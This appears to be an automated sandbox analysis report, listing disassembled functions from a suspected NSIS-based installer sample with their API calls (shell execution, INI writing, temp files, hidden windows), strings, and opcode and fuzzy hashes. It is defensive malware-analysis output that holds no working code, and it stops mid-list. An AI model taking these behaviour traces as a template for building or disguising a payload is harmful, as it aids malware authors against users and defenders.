Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: CountFileTickWrite$wsprintf
String ID: ... %d%%$P1B$X1C$X1C
API String ID: 651206458-1535804072
Opcode ID: 44661cc85d05d2ece2df72a1dadfaff530150b4f00ec14a98415859341c8c9fb
Instruction ID: 0313947f0097750978ec936bbe46de4fad37e772bc1cb17ec77dd8e30cfa9ece
Opcode Fuzzy Hash: 44661cc85d05d2ece2df72a1dadfaff530150b4f00ec14a98415859341c8c9fb
Instruction Fuzzy Hash: 88518D71900219ABDF10DF65AE44AAF7BACAB00316F14417BF900B7290DB78DF40CBA9

Function 00404F72 Relevance: 10.6, APIs: 7, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: MessageSend$lstrlen$TextVersionWindowlstrcat
String ID:
API String ID: 2740478559-0
Opcode ID: 4a81920338a541d7bcc419c3bcbb2810a04374694b2a6e658d803f75c228445d
Instruction ID: 1d640e6b4f0869ec625b39ce8112f9bd6789598538fb42bade37fe3884716a8e
Opcode Fuzzy Hash: 4a81920338a541d7bcc419c3bcbb2810a04374694b2a6e658d803f75c228445d
Instruction Fuzzy Hash: 3C21B0B1900518BACF119FA5DD84E9EBFB5EF84310F10813AFA04BA291D7798E509F98

Function 00401EB9 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GlobalFree.KERNELBASE(0074EC48), ref: 00402387

Strings

Pop: stack empty, xrefs: 00401F2C
ManufactureJazz, xrefs: 00401EFB, 00401F00, 00401F1A
Ht, xrefs: 00401EBC, 00401F06, 00401F15, 00401F48, 00401F6E, 00401F75
Exch: stack < %d elements, xrefs: 00401ED8

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: FreeGloballstrcpyn
String ID: Exch: stack < %d elements$Ht$ManufactureJazz$Pop: stack empty
API String ID: 1459762280-2508247732
Opcode ID: 1882500a3a7973729244276bdae00bfd603f91a0f1c5eacb79451a398e12722f
Instruction ID: ae7cb1f2c63b60d7baa415153617f8c61fd22799b34192a347ea6a0a5f6d971a
Opcode Fuzzy Hash: 1882500a3a7973729244276bdae00bfd603f91a0f1c5eacb79451a398e12722f
Instruction Fuzzy Hash: 4721D172601105EBE710EB95DD81A6F77A8EF44318B21003FF542F32D1EB7998118AAD

Function 004022FD Relevance: 7.6, APIs: 5, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 0040230C
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 0040232E
GetFileVersionInfoW.VERSION(?,?,?,00000000), ref: 00402347
VerQueryValueW.VERSION(?,00408838,?,?,?,?,?,00000000), ref: 00402360

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

GlobalFree.KERNELBASE(0074EC48), ref: 00402387

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: FileGlobalInfoVersion$AllocFreeQuerySizeValuewsprintf
String ID:
API String ID: 3376005127-0
Opcode ID: 6f3e0dbebcfa7f75c0754c170d72e8097fcb7c93b116c2da6e8eed637ff4f305
Instruction ID: 606d2f288e59f9406d2e88b5b0598c54d729d8d595f649ff0f3e4a994beab86c
Opcode Fuzzy Hash: 6f3e0dbebcfa7f75c0754c170d72e8097fcb7c93b116c2da6e8eed637ff4f305
Instruction Fuzzy Hash: 82115E72900109AFCF00EFA1DD45DAE7BB8EF04344F10403AFA09F61A1D7799A40DB19

Function 00402B23 Relevance: 7.6, APIs: 5, Instructions: 54
memoryfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNEL32(00000040,00002004), ref: 00402B2B
WideCharToMultiByte.KERNEL32(?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B61
lstrlenA.KERNEL32(?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B6A
WriteFile.KERNEL32(00000000,?,?,00000000,?,?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B85

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: AllocByteCharFileGlobalMultiWideWritelstrlen
String ID:
API String ID: 2568930968-0
Opcode ID: 02f149ecbdf3f63b5c58a8b7f5a2f789e982e3470d3956ff315881f03770554e
Instruction ID: 5d007b3c2ae3d1ce6b2586a1921c4ad46276280cee2e515d5d1d957ff8a092fa
Opcode Fuzzy Hash: 02f149ecbdf3f63b5c58a8b7f5a2f789e982e3470d3956ff315881f03770554e
Instruction Fuzzy Hash: 76016171500205FBDB14AF70DE48D9E3B78EF05359F10443AF646B91E1D6798982DB68

Function 00402713 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

WritePrivateProfileStringW.KERNEL32(?,?,?,00000000), ref: 0040278C

Strings

<RM>, xrefs: 00402713
WriteINIStr: wrote [%s] %s=%s in %s, xrefs: 00402775
ManufactureJazz, xrefs: 00402770

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: PrivateProfileStringWritelstrcpyn
String ID: <RM>$ManufactureJazz$WriteINIStr: wrote [%s] %s=%s in %s
API String ID: 247603264-3955903134
Opcode ID: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction ID: 1675f45263e21dacb3bd3d3c28f4c469aa899418fcec56767b4290250f933745
Opcode Fuzzy Hash: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction Fuzzy Hash: 05014F70D40319BADB10BFA18D859AF7A78AF09304F10403FF11A761E3D7B80A408BAD

Function 004021B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

ShellExecuteW.SHELL32(?,00000000,00000000,00000000,004CB0B0,?), ref: 00402202

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

ExecShell: success ("%s": file:"%s" params:"%s"), xrefs: 00402226
ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d, xrefs: 00402211

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: MessageSendlstrlen$ExecuteShellTextWindowlstrcatwvsprintf
String ID: ExecShell: success ("%s": file:"%s" params:"%s")$ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d
API String ID: 3156913733-2180253247
Opcode ID: 0e9dd1e26526b91e1c41cfd2ad6e78dbbf82426293fff8cc21759efb88a5ec27
Instruction ID: bbc106df3db47d5a89d2587a4e22f40687ed87c50c6518a2742e337a88eb4af1
Opcode Fuzzy Hash: 0e9dd1e26526b91e1c41cfd2ad6e78dbbf82426293fff8cc21759efb88a5ec27
Instruction Fuzzy Hash: E001F7B2B4021476DB2077B69C87F6B2A5CDB41764B20047BF502F20E3E5BD88009139

Function 00405E7F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405E9D
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,004037FE,004D30C0,004D70C8), ref: 00405EB8

Strings

nsa, xrefs: 00405E8C

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction ID: bbb7b3741c82bae03d84fc31e008e00914f4f4b6280f54d22115683b6c602e07
Opcode Fuzzy Hash: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction Fuzzy Hash: 39F0F635600604BBDB00CF55DD05A9FBBBDEF90310F00803BE944E7140E6B09E00C798

Function 00402175 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 0040219F

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

EnableWindow.USER32(00000000,00000000), ref: 004021AA

Strings

HideWindow, xrefs: 0040218D

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: Window$EnableShowlstrlenwvsprintf
String ID: HideWindow
API String ID: 1249568736-780306582
Opcode ID: 0616bcda597e9750e62a76ee812eb00f220ec1a404151e7fe1b3dec3a2ed7f78
Instruction ID: bfe0de145d0e58e27592ef60cc9cda220d4f3e6bacb950e19a0f62fa040dbd34
Opcode Fuzzy Hash: 0616bcda597e9750e62a76ee812eb00f220ec1a404151e7fe1b3dec3a2ed7f78
Instruction Fuzzy Hash: F1E09232A05111DBCB08FBB5A74A5AE76B4EA9532A721007FE143F20D0DABD8D01C62D

Function 004078C5 Relevance: 5.2, APIs: 4, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction ID: 5b61ba0e549d4a34e11b5feda41afe9ae6537485a044c30e59ebd23bda5797f4
Opcode Fuzzy Hash: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction Fuzzy Hash: BCA14771908248DBEF18CF28C8946AD3BB1FB44359F14812AFC56AB280D738E985DF85

Function 00407AC3 Relevance: 5.2, APIs: 4, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction ID: 0868455ade8710e2db62ea7c97591ecaf8a07f5330254cde648c5a00cf1b77b0
Opcode Fuzzy Hash: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction Fuzzy Hash: 30912871908248DBEF14CF18C8947A93BB1FF44359F14812AFC5AAB291D738E985DF89

Function 00407312 Relevance: 5.2, APIs: 4, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction ID: 3981f1dd08afc316d24d9ed5113be2a17ca7da729ed8f25fba603efd3ef4d826
Opcode Fuzzy Hash: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction Fuzzy Hash: 39815931908248DBEF14CF29C8446AE3BB1FF44355F10812AFC66AB291D778E985DF86

Function 00407752 Relevance: 5.2, APIs: 4, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction ID: 01891581271c5a124b16634c3a8992e7a6857e255b4271240234ec945a90a24d
Opcode Fuzzy Hash: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction Fuzzy Hash: 73713571908248DBEF18CF28C894AAD3BF1FB44355F14812AFC56AB291D738E985DF85

Function 00407854 Relevance: 5.2, APIs: 4, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
